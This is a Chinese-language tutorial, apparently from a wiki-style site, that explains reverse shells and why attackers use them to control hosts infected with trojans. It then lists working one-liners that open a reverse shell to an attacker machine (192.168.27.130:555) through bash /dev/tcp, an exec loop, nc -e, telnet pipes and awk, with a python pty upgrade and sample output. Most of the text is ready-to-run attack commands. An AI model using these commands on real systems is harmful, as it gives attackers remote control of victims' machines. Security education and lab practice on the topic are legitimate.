当先锋百科网

首页 1 2 3 4 5 6 7


前言

(1)什么是反弹shell?

  反弹shell(reverse shell),就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。

(2)为什么要反弹shell?

通常用于被控端因防火墙受限、权限不足、端口被占用等情形。

举例:假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面、web服务、ssh、telnet等等都是正向连接。那么什么情况下正向连接不能用了呢?

有如下情况:

1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。 

2.目标机器的ip动态改变,你不能持续控制。

3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。

4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机等情况都是未知的,所以建立一个服务端让恶意程序主动连接,才是上策。

那么反弹就很好理解了,攻击者指定服务端,受害者主机主动连接攻击者的服务端程序,就叫反弹连接。

一、常用的反弹shell命令

1.使用Bash进行反弹

kali作为攻击主机,owasp作为被入侵主机,只要能在入侵主机上正常运行Linux命令就能实现反弹,利用Bash命令重定向。

(1).在kali上启动端口监听

nc -lvp 555
#这个端口可以是任意端口,只要不是被占用或者防火墙阻挡都可以用。

(2)在owasp上运行反弹命令

bash -i >& /dev/tcp/192.168.27.130/555 0>&1

命令解析:

bash -i              #打开一个交互的bash

>&                    #将标准错误输出合并 并定向到标准输出,也可以写成&>

/dev/tcp/192.168.27.130/555        # 意为调用scoket,建立socket连接,其中192.168.27.130为要反弹到的主机,555为端口。

0>&1                                              #标准输入重定向到标椎输出,实现你与反弹出来的shell的交互,可以接受用户的输入,0>&1和0<&1是一样的作用

(3)反弹成功在kali上执行命令

root@owaspbwa:~# pwd
pwd
/root
root@owaspbwa:~# ifconfig
ifconfig
eth0      Link encap:Ethernet  HWaddr 00:0c:29:f8:36:e7  
          inet addr:192.168.27.132  Bcast:192.168.27.255  Mask:255.255.255.0
          inet6 addr: fe80::20c:29ff:fef8:36e7/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:430 errors:0 dropped:0 overruns:0 frame:0
          TX packets:116 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000 
          RX bytes:28786 (28.7 KB)  TX bytes:15275 (15.2 KB)
          Interrupt:18 Base address:0x1400 

2.使用exec执行shell的方式

(1)在kali上执行,监听555端口

nc -lvp 555

(2)在owasp上执行

exec 5<> /dev/tcp/192.168.27.130/555; cat <&5 | while read line; do $line 2>&5 >&5; done

#在owasp上执行完命令,返回kali端是没有任何提示付的符,直接执行命令即可。

3.其他方式

(1)在klai上监听555端口

nc -lvp 555

(2)在owasp执行命令

exec 0&0 2>&0 0<&196;exec 196<>/dev/tcp/192.168.27.130/555; sh <&196 >&196 2>&196

#执行完返回到kali里也是没有任何提示符,可直接执行命令

4.使用nc进行反弹

(1)在kali上进行端口监听

nc -lvp 555

(2)在centos7上执行反弹命令

nc -e /bin/bash 192.168.27.130 555

#执行完kali没有提示符,直接执行命令即可。

5.使用Telnet进行反弹

(1)需要在kali上开启两个端口,一个用来输入。一个用来输出。

nc -lvp 444

nc -lvp 555

#打开两个命令窗口同时执行

(2)在centos7上执行命令

telnet 192.168.27.130 444 | /bin/bash | telnet 192.168.27.130 555

#444为输入端口,555作为输出端口,在444端口执行命令,555端口输出结果。centos默认没有安装Telnet服务的要进行安装才能使用

6.使用awk进行反弹

(1)在klai监听端口

nc -lvp 555

(2)在centos上执行命令

awk 'BEGIN{s="/inet/tcp/0/192.168.27.130/555";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

#执行完命令再kali没有任何提示符,直接执行命令即可。

7.建立交互式shell

反弹完shell之后可以建立交互式的shell,这样操作更加方便。

python -c 'import pty; pty.spawn("/bin/bash")'